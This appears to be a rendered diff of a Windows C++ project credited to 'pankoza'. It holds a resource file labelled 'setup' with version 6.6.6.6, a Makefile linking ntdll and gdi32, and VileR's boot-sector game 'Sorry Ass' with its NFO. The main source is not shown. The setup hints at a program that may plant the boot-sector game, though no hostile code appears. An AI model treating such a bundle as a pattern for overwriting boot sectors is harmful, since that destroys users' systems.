|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
|
| 2 |
+
/* DO NOT EDIT! */
|
| 3 |
+
|
| 4 |
+
#include <windows.h> // include for version info constants
|
| 5 |
+
|
| 6 |
+
|
| 7 |
+
A ICON "J100758.264+211529.207.ico"
|
| 8 |
+
|
| 9 |
+
//
|
| 10 |
+
// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS...
|
| 11 |
+
//
|
| 12 |
+
1 VERSIONINFO
|
| 13 |
+
FILEVERSION 6,6,6,6
|
| 14 |
+
PRODUCTVERSION 6,6,6,6
|
| 15 |
+
FILETYPE VFT_APP
|
| 16 |
+
{
|
| 17 |
+
BLOCK "StringFileInfo"
|
| 18 |
+
{
|
| 19 |
+
BLOCK "040904E4"
|
| 20 |
+
{
|
| 21 |
+
VALUE "CompanyName", "pankoza"
|
| 22 |
+
VALUE "FileVersion", "6.6.6.6"
|
| 23 |
+
VALUE "FileDescription", "J100758.264+211529.207 setup"
|
| 24 |
+
VALUE "InternalName", ""
|
| 25 |
+
VALUE "LegalCopyright", ""
|
| 26 |
+
VALUE "LegalTrademarks", ""
|
| 27 |
+
VALUE "OriginalFilename", ""
|
| 28 |
+
VALUE "ProductName", ""
|
| 29 |
+
VALUE "ProductVersion", "6.6.6.6"
|
| 30 |
+
}
|
| 31 |
+
}
|
| 32 |
+
BLOCK "VarFileInfo"
|
| 33 |
+
{
|
| 34 |
+
VALUE "Translation", 0x0409, 1252
|
| 35 |
+
}
|
| 36 |
+
}
|
src/J100758.264-211529.207-main/J100758.264+211529.207_private.res
ADDED
|
Binary file (1.79 kB). View file
|
|
|
src/J100758.264-211529.207-main/Makefile.win
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Project: J100758.264+211529.207
|
| 2 |
+
# Makefile created by Dev-C++ 5.11
|
| 3 |
+
|
| 4 |
+
CPP = g++.exe -D__DEBUG__
|
| 5 |
+
CC = gcc.exe -D__DEBUG__
|
| 6 |
+
WINDRES = windres.exe
|
| 7 |
+
RES = J100758.264+211529.207_private.res
|
| 8 |
+
OBJ = main.o $(RES)
|
| 9 |
+
LINKOBJ = main.o $(RES)
|
| 10 |
+
LIBS = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32" -static-libgcc -s -mwindows -s "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libwinmm.a" "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libkernel32.a" "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libntdll.a" -m32 -g3
|
| 11 |
+
INCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
|
| 12 |
+
CXXINCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
|
| 13 |
+
BIN = J100758.264+211529.207.exe
|
| 14 |
+
CXXFLAGS = $(CXXINCS) -m32 -g3 -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive
|
| 15 |
+
CFLAGS = $(INCS) -m32 -g3 -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive
|
| 16 |
+
RM = rm.exe -f
|
| 17 |
+
|
| 18 |
+
.PHONY: all all-before all-after clean clean-custom
|
| 19 |
+
|
| 20 |
+
all: all-before $(BIN) all-after
|
| 21 |
+
|
| 22 |
+
clean: clean-custom
|
| 23 |
+
${RM} $(OBJ) $(BIN)
|
| 24 |
+
|
| 25 |
+
$(BIN): $(OBJ)
|
| 26 |
+
$(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)
|
| 27 |
+
|
| 28 |
+
main.o: main.cpp
|
| 29 |
+
$(CPP) -c main.cpp -o main.o $(CXXFLAGS)
|
| 30 |
+
|
| 31 |
+
J100758.264+211529.207_private.res: J100758.264+211529.207_private.rc
|
| 32 |
+
$(WINDRES) -i J100758.264+211529.207_private.rc -F pe-i386 --input-format=rc -o J100758.264+211529.207_private.res -O coff
|
| 33 |
+
|
src/J100758.264-211529.207-main/SORRYASS.ASM
ADDED
|
@@ -0,0 +1,323 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
;---------------------------------------------------
|
| 2 |
+
; Sorry Ass (remake of PC-DOS DONKEY) -- VileR 2016
|
| 3 |
+
; FASM.EXE sorryass.asm
|
| 4 |
+
;---------------------------------------------------
|
| 5 |
+
use16
|
| 6 |
+
|
| 7 |
+
COM equ 1 ;0: boot sector :: 1: DOS version
|
| 8 |
+
|
| 9 |
+
IF COM
|
| 10 |
+
org 100h
|
| 11 |
+
ELSE
|
| 12 |
+
org 7c00h
|
| 13 |
+
jmp short segfix
|
| 14 |
+
segfix:
|
| 15 |
+
jmp 0:start ;enforce correct CS:IP
|
| 16 |
+
start: ;enforce good init values (TRUST NO ONE)
|
| 17 |
+
clc
|
| 18 |
+
cld
|
| 19 |
+
push cs ;DX, BP, ES = don't care
|
| 20 |
+
pop ss
|
| 21 |
+
push cs
|
| 22 |
+
pop ds
|
| 23 |
+
xor ax,ax
|
| 24 |
+
xor bx,bx
|
| 25 |
+
mov cx,0FFh
|
| 26 |
+
mov si,start
|
| 27 |
+
mov sp,0FFFEh
|
| 28 |
+
mov di,sp
|
| 29 |
+
END IF
|
| 30 |
+
|
| 31 |
+
;set up video:
|
| 32 |
+
inc ax ;gotta have color on composite systems ;)
|
| 33 |
+
int 10h ;go 40x25
|
| 34 |
+
mov ax,0B800h ;init video seg (not all dos versions obey AX=0!)
|
| 35 |
+
mov es,ax ;es=B800h ;di=sp=FFFEh (-2) on init (good enough)
|
| 36 |
+
|
| 37 |
+
;draw background:
|
| 38 |
+
xchg ax, cx ;ax:= cx@init = 00FFh;cx:=B800h
|
| 39 |
+
mov ah,2Eh ;ah:= attr, al:= FFh (char)
|
| 40 |
+
rep stosw ;writing b800h words will try to stomp over memory
|
| 41 |
+
;in >c000 too, but that's ROM-land so we don't mind
|
| 42 |
+
push si ;program start
|
| 43 |
+
|
| 44 |
+
;prepare score labels:
|
| 45 |
+
mov si, text
|
| 46 |
+
mov dx,0105h ;row, col
|
| 47 |
+
call wrtword ;print them;CF clear = print 2 words
|
| 48 |
+
|
| 49 |
+
;get system time:
|
| 50 |
+
xchg ax, cx ;CX==0 => AX:=0
|
| 51 |
+
int 1Ah ;get system time
|
| 52 |
+
push dx ;store low word of system time as random seed
|
| 53 |
+
|
| 54 |
+
;init vars:
|
| 55 |
+
mov bp,3030h ;BP = scores (ascii)- HIGH: donkey, LOW: driver
|
| 56 |
+
newturn:
|
| 57 |
+
mov dx,1c11h ;DX = car position- DH: X-pos, DL: Y-pos
|
| 58 |
+
newass:
|
| 59 |
+
mov bx,1c00h ;BX = donkey position- BH: X-pos, BL: Y-pos
|
| 60 |
+
|
| 61 |
+
;randomize donkey's lane
|
| 62 |
+
pop cx ;retrieve stored seed...
|
| 63 |
+
pop si ;...and modifier location
|
| 64 |
+
lodsw ;grab modifier + advance si
|
| 65 |
+
add ax,cx ;fiddle with it
|
| 66 |
+
jp hold ;do we switch?
|
| 67 |
+
mov bh,28h ;yep
|
| 68 |
+
hold:
|
| 69 |
+
push si ;store new modifier location...
|
| 70 |
+
push ax ;...and post-fiddle seed value
|
| 71 |
+
xor cx,cx ;ensure CH:=0 for later
|
| 72 |
+
call showpts ;print scores
|
| 73 |
+
newstep:
|
| 74 |
+
call drwroad ;clear road, draw lane marks
|
| 75 |
+
|
| 76 |
+
;draw car:
|
| 77 |
+
inc dx ;bottom half: increment DL by 2 rows
|
| 78 |
+
inc dx
|
| 79 |
+
call drawcar
|
| 80 |
+
dec dx ;top half: restore original y-pos
|
| 81 |
+
dec dx
|
| 82 |
+
call drawcar
|
| 83 |
+
|
| 84 |
+
;draw donkey:
|
| 85 |
+
xchg bx,dx ;donkey location <-> car location
|
| 86 |
+
mov cl,4
|
| 87 |
+
call drawass ;si now has offset of donkey
|
| 88 |
+
call sound
|
| 89 |
+
xchg bx,dx ;switch them back
|
| 90 |
+
|
| 91 |
+
hlt ;wait ~1/18 sec
|
| 92 |
+
|
| 93 |
+
;collision check:
|
| 94 |
+
cmp bh,dh ;same lane?
|
| 95 |
+
jne no_hit ;nope
|
| 96 |
+
push dx ;save car pos
|
| 97 |
+
sub dl,bl ;check diff
|
| 98 |
+
flipme:
|
| 99 |
+
neg dl ;for abs val
|
| 100 |
+
js flipme ;flip sign if negative
|
| 101 |
+
cmp dl,3 ; -3 <= (car_Y - donkey_Y) <= 3 ?
|
| 102 |
+
pop dx ;restore car pos- flags unaffected
|
| 103 |
+
jg no_hit ;no collision
|
| 104 |
+
|
| 105 |
+
;collision:
|
| 106 |
+
IF COM
|
| 107 |
+
mov si,100h ;program start (code as explosion data)
|
| 108 |
+
add bp,si ;increase donkey score too
|
| 109 |
+
ELSE
|
| 110 |
+
mov si, start
|
| 111 |
+
add bp, 100h ;increase donkey score
|
| 112 |
+
END IF
|
| 113 |
+
mov cl, 38 ;# of animation "frames"
|
| 114 |
+
explode:
|
| 115 |
+
push cx
|
| 116 |
+
mov cl, 4 ;draw 4 rows
|
| 117 |
+
call drawass ;reuse donkey code w/ explosion 'data'
|
| 118 |
+
call sound
|
| 119 |
+
sub si,37 ;odd number for more varied explosion
|
| 120 |
+
pop cx
|
| 121 |
+
loop explode ;next iteration
|
| 122 |
+
cmp bp, 3A00h ;did donkey win?
|
| 123 |
+
jl newturn ;nope, start over
|
| 124 |
+
stc ;yep, donkey victory
|
| 125 |
+
jmp endgame
|
| 126 |
+
|
| 127 |
+
no_hit:
|
| 128 |
+
jmp go_on ;advance donkey & check keypress
|
| 129 |
+
switch:
|
| 130 |
+
xor dh, 034h ;non-esc pressed? switch lanes
|
| 131 |
+
|
| 132 |
+
tests:
|
| 133 |
+
cmp bl, 32 ;donkey gone?
|
| 134 |
+
jne newstep ;- nope, continue
|
| 135 |
+
dec dx ;- yep, move car up
|
| 136 |
+
cmp dl, 7 ;did player score?
|
| 137 |
+
jg newass ;- not yet, spawn new donkey
|
| 138 |
+
inc bp ;- yes - player scored
|
| 139 |
+
xchg ax,bp
|
| 140 |
+
cmp al,3Ah ;did player win?
|
| 141 |
+
xchg ax,bp
|
| 142 |
+
jl newturn ;nope, start over
|
| 143 |
+
clc ;yep, player victory
|
| 144 |
+
|
| 145 |
+
endgame:
|
| 146 |
+
mov si, text+6 ;prepare victor announcement
|
| 147 |
+
mov dx,0305h ;cursor pos for donkey
|
| 148 |
+
jc youlost
|
| 149 |
+
mov dl,30 ;cursor pos for player
|
| 150 |
+
youlost:
|
| 151 |
+
xor bx,bx ;int 10h needs you baby
|
| 152 |
+
stc
|
| 153 |
+
call wrtword ;print them;CF set = print 2 words
|
| 154 |
+
xor ax,ax ;wait for keypress
|
| 155 |
+
int 16h
|
| 156 |
+
die:
|
| 157 |
+
IF COM
|
| 158 |
+
mov ax,3
|
| 159 |
+
int 10h
|
| 160 |
+
int 20h ;can't RET, stack is soiled
|
| 161 |
+
ELSE
|
| 162 |
+
jmp 0:start ;be kind, rewind
|
| 163 |
+
END IF
|
| 164 |
+
|
| 165 |
+
;-------------------------------------------------------
|
| 166 |
+
go_on:
|
| 167 |
+
inc bx ;advance donkey
|
| 168 |
+
mov ah,1 ;check for keypress
|
| 169 |
+
int 16h
|
| 170 |
+
jz tests ;nothing pressed
|
| 171 |
+
xor ah, ah ;clear buffer
|
| 172 |
+
int 16h
|
| 173 |
+
cmp al,1Bh ;ESC pressed?
|
| 174 |
+
je die ;quit (DOS) or restart (booter)
|
| 175 |
+
jmp switch ;THERE IS NO ESCAPE!
|
| 176 |
+
|
| 177 |
+
;draw sprites:
|
| 178 |
+
drawcar:
|
| 179 |
+
mov si, sprites
|
| 180 |
+
mov cl,2 ;2 rows
|
| 181 |
+
drawass:
|
| 182 |
+
mov al,dh ;X-pos
|
| 183 |
+
cbw ;AH:=0
|
| 184 |
+
xchg di,ax ;di = num_cols
|
| 185 |
+
mov al,80
|
| 186 |
+
imul dl ;ax= num_rows*80 bytes/row
|
| 187 |
+
add di,ax ;di: = screen position for drawing
|
| 188 |
+
drawlin:
|
| 189 |
+
times 5 movsw ;1b shorter than messing with CX
|
| 190 |
+
add di,70 ;next line
|
| 191 |
+
loop drawlin
|
| 192 |
+
ret
|
| 193 |
+
|
| 194 |
+
;draw road:
|
| 195 |
+
drwroad:
|
| 196 |
+
mov cl,26 ;25 rows + one for the road
|
| 197 |
+
mov di,cx ;starting screen position
|
| 198 |
+
mov ax,74DFh ;char:= upper half block, grey/red
|
| 199 |
+
test bl,1 ;odd step? (test by donkey's y_pos)
|
| 200 |
+
jnz roadrow ;yep, keep this char
|
| 201 |
+
mov al,0DCh ;nope, change to lower half block
|
| 202 |
+
roadrow:
|
| 203 |
+
stosw ;left edge
|
| 204 |
+
push cx
|
| 205 |
+
stc ;for shorter loop
|
| 206 |
+
drwlane:
|
| 207 |
+
mov ah,0 ;attr:= invisible
|
| 208 |
+
mov cl,5 ;lane width
|
| 209 |
+
rep stosw
|
| 210 |
+
jnc nextrow ;will only be taken the 2nd time
|
| 211 |
+
mov ah,0Fh ;attr:= white on black
|
| 212 |
+
stosw
|
| 213 |
+
cmc
|
| 214 |
+
jmp drwlane
|
| 215 |
+
nextrow:
|
| 216 |
+
mov ah,74h
|
| 217 |
+
stosw ;right edge
|
| 218 |
+
add di,54 ;next row
|
| 219 |
+
pop cx
|
| 220 |
+
loop roadrow
|
| 221 |
+
;ret = C3h = 1st byte of sprite data below
|
| 222 |
+
|
| 223 |
+
;data:
|
| 224 |
+
sprites:
|
| 225 |
+
db 0C3h,000h,0DEh,004h,07Ch,04Eh,0DDh,004h,020h,007h ;car/2
|
| 226 |
+
db 0B2h,008h,0C1h,00Ch,01Eh,04Bh,0C1h,00Ch,0B2h,008h
|
| 227 |
+
db 020h,007h,020h,007h,020h,007h,020h,007h,020h,007h ;donkey
|
| 228 |
+
db 020h,000h,020h,000h,05Ch,007h,0DCh,007h,02Fh,007h
|
| 229 |
+
db 0FBh,007h,0DBh,007h,07Eh,070h,022h,074h,040h,007h
|
| 230 |
+
db 020h,007h,0B3h,070h,020h,008h,0B3h,070h,020h,008h
|
| 231 |
+
text:
|
| 232 |
+
db 'SSAUOYNOW'
|
| 233 |
+
|
| 234 |
+
;print text/hide cursor
|
| 235 |
+
wrtword:
|
| 236 |
+
mov ah,2 ;no lahf.. compatibility
|
| 237 |
+
int 10h ;set cursor position;bh (active page)=0
|
| 238 |
+
mov cl,3 ;loop x3
|
| 239 |
+
chrloop:
|
| 240 |
+
lodsb ;load char into AL
|
| 241 |
+
mov ah, 0Ah ;bios - write char
|
| 242 |
+
int 10h
|
| 243 |
+
loop chrloop
|
| 244 |
+
mov dl,30 ;new column
|
| 245 |
+
cmc ;do x2
|
| 246 |
+
jc wrtword
|
| 247 |
+
mov dx,1A0Fh ;row 26, col 15
|
| 248 |
+
mov ah,2
|
| 249 |
+
int 10h ;hide cursor;AH=already 2
|
| 250 |
+
ret
|
| 251 |
+
|
| 252 |
+
;print scores
|
| 253 |
+
showpts:
|
| 254 |
+
xchg bp, ax ;get them
|
| 255 |
+
mov di, 0FCh
|
| 256 |
+
xchg ah, al ;donkey first..
|
| 257 |
+
stosb
|
| 258 |
+
add di, 49
|
| 259 |
+
xchg al, ah ;driver second
|
| 260 |
+
stosb
|
| 261 |
+
xchg bp, ax ;put them back
|
| 262 |
+
ret
|
| 263 |
+
|
| 264 |
+
;play sound, based on current sprite's Y-position
|
| 265 |
+
sound:
|
| 266 |
+
push dx ;save positions
|
| 267 |
+
mov al,0b6h ;command byte
|
| 268 |
+
out 43h,al ;tell timer 2 to expect value
|
| 269 |
+
|
| 270 |
+
;change pitch
|
| 271 |
+
mov al,dl
|
| 272 |
+
out 42h,al ;low counter byte
|
| 273 |
+
shr al,1
|
| 274 |
+
out 42h,al ;hi counter byte
|
| 275 |
+
|
| 276 |
+
;speaker on:
|
| 277 |
+
in al,61h ;read current value
|
| 278 |
+
or al,3 ;turn speaker on
|
| 279 |
+
out 61h,al
|
| 280 |
+
|
| 281 |
+
;tiny wait:
|
| 282 |
+
mov dh,09h ;dl is insignificant
|
| 283 |
+
call readpit ;ax:=current counter
|
| 284 |
+
sub ax,dx ;ax:=counter target
|
| 285 |
+
xchg ax,dx ;dx:=counter target
|
| 286 |
+
waitloop:
|
| 287 |
+
call readpit ;ax:=current counter
|
| 288 |
+
cmp ax,dx ;reached target? ; add carry check?
|
| 289 |
+
jg waitloop ;nope, try again
|
| 290 |
+
|
| 291 |
+
;speaker off:
|
| 292 |
+
in al,61h ;read current value
|
| 293 |
+
and al,252 ;turn speaker off
|
| 294 |
+
out 61h,al
|
| 295 |
+
call wait_vs ;wait for retrace for nice effect
|
| 296 |
+
pop dx ;get positions back
|
| 297 |
+
ret
|
| 298 |
+
|
| 299 |
+
readpit:
|
| 300 |
+
xor ax,ax ;command byte
|
| 301 |
+
out 43h,al ;latch counter for channel 0 (system time)
|
| 302 |
+
in al,40h ;al:=low counter byte
|
| 303 |
+
xchg ah, al ;ah:=low counter byte
|
| 304 |
+
in al,40h ;al:=hi counter byte
|
| 305 |
+
xchg ah, al
|
| 306 |
+
ret
|
| 307 |
+
|
| 308 |
+
wait_vs:
|
| 309 |
+
mov dx,03DAh
|
| 310 |
+
wax_on:
|
| 311 |
+
in al,dx
|
| 312 |
+
test al,8
|
| 313 |
+
jz wax_on
|
| 314 |
+
wax_off:
|
| 315 |
+
in al,dx
|
| 316 |
+
test al,8
|
| 317 |
+
jnz wax_off
|
| 318 |
+
ret
|
| 319 |
+
|
| 320 |
+
IF ~COM
|
| 321 |
+
times 510-($-$$) db 0 ;pad to sector size
|
| 322 |
+
dw 0AA55h ;magic marker
|
| 323 |
+
END IF
|
src/J100758.264-211529.207-main/SORRYASS.NFO
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
.- Happy 35th birthday, IBM PC! -.
|
| 2 |
+
|
| 3 |
+
`�'
|
| 4 |
+
���� �����"
|
| 5 |
+
,�۲�� `�' �����
|
| 6 |
+
��� ��� ��� ��� � � �����۱ ���ܲ .� ��� ���
|
| 7 |
+
Ȫ� � � �' �' Ȫ� ߱ ۲� ,� �� �� ��� Ȫ� Ȫ�
|
| 8 |
+
� � �`� �`� � `�' �۲������|�� �� � � � �
|
| 9 |
+
� | � � � ] � | � | "�����|߰����" `�' � � � | � |
|
| 10 |
+
�� �� � � : ! �� `�' ����߲����� ; � �� ��
|
| 11 |
+
���������۱ -V
|
| 12 |
+
� �� �� �� �� �� �� �� �� � ���������� � �� �� �� �� �� �� ��
|
| 13 |
+
�� ��� ��� ��� ��� ��� ��� ��� ��� ��������" �� ��� ��� ��� ��� ��� ��� ���
|
| 14 |
+
�� �� �� �� �� �� �� �� � �� ���������� � �� �� �� �� �� �� �
|
| 15 |
+
��� ��� ��� ��� ��� ��� ��� ��� � �� ������۲� ���� ��� ��� ��� ��� ��� ��� �
|
| 16 |
+
� �� �� �� �� �� �� �� �� ������������۱ �� �� �� �� �� �� ��
|
| 17 |
+
�� ��� ��� ��� ��� ��� ��� ��� ��� ���������۲� � ��� ��� ��� ��� ��� ��� ���
|
| 18 |
+
������߲�
|
| 19 |
+
�� �� �
|
| 20 |
+
��������� Sorry Ass, by VileR �� ������� ������� 08/2016 ���������
|
| 21 |
+
� : : �
|
| 22 |
+
� � ...a tiny tribute for the IBM PC's 35th anniversary... � �
|
| 23 |
+
� � revisiting Bill Gates' uncontested gaming � �
|
| 24 |
+
� � milestone from PC-DOS 1.0: DONKEY.BAS � �
|
| 25 |
+
� � � �
|
| 26 |
+
� � now in a boot sector near you! � �
|
| 27 |
+
� � :: CGA+/8088+/PCspeaker :: � �
|
| 28 |
+
� ����������������������������������������������������������������Ĵ �
|
| 29 |
+
� � This 512-byte game should run on most x86 PCS, all the � �
|
| 30 |
+
� � way back to the original IBM 5150. A smaller .COM � �
|
| 31 |
+
� � version is available for DOS. � �
|
| 32 |
+
� � � �
|
| 33 |
+
� � The 360KB disk image can be optionally padded to your � �
|
| 34 |
+
� � favorite standard floppy size, written to disk, or � �
|
| 35 |
+
� � loaded in DOSBox ("boot sorryass.ima")/PCEm/etc. � �
|
| 36 |
+
� ����������������������������������������������������������������Ĵ �
|
| 37 |
+
� � - ESC to exit (DOS) or restart (boot version) - � �
|
| 38 |
+
� � - any other key to switch lanes - � �
|
| 39 |
+
� ����������������������������������������������������������������Ĵ �
|
| 40 |
+
� � Greets/thanks: hargle, HellMood, qkumba, � �
|
| 41 |
+
� � reenigne, ripsaw8080, Scali, Trixter � �
|
| 42 |
+
� � � �
|
| 43 |
+
� : http://int10h.org : �
|
| 44 |
+
� � � �
|
| 45 |
+
� �
|
src/J100758.264-211529.207-main/main.cpp
ADDED
|
@@ -0,0 +1,309 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
